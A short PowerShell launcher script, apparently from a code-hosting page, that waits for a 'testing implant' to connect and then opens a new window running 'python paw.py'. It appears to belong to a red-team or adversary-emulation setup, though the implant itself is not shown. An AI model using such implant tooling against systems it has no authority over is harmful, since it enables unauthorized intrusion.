Write-Host "Waiting for the testing implant to connect. Press Enter to continue..."
|
||||
Read-Host
|
||||
|
||||
Start-Sleep -Milliseconds 500
|
||||
|
||||
Start-Process "powershell.exe" -ArgumentList @(
|
||||
"-NoExit",
|
||||
"-Command",
|
||||
"python paw.py;
|
||||
Write-Host 'paw.py script finished. Press Enter to close this window...';
|
||||
Read-Host"
|
||||
)
|
||||
Reference in New Issue
Block a user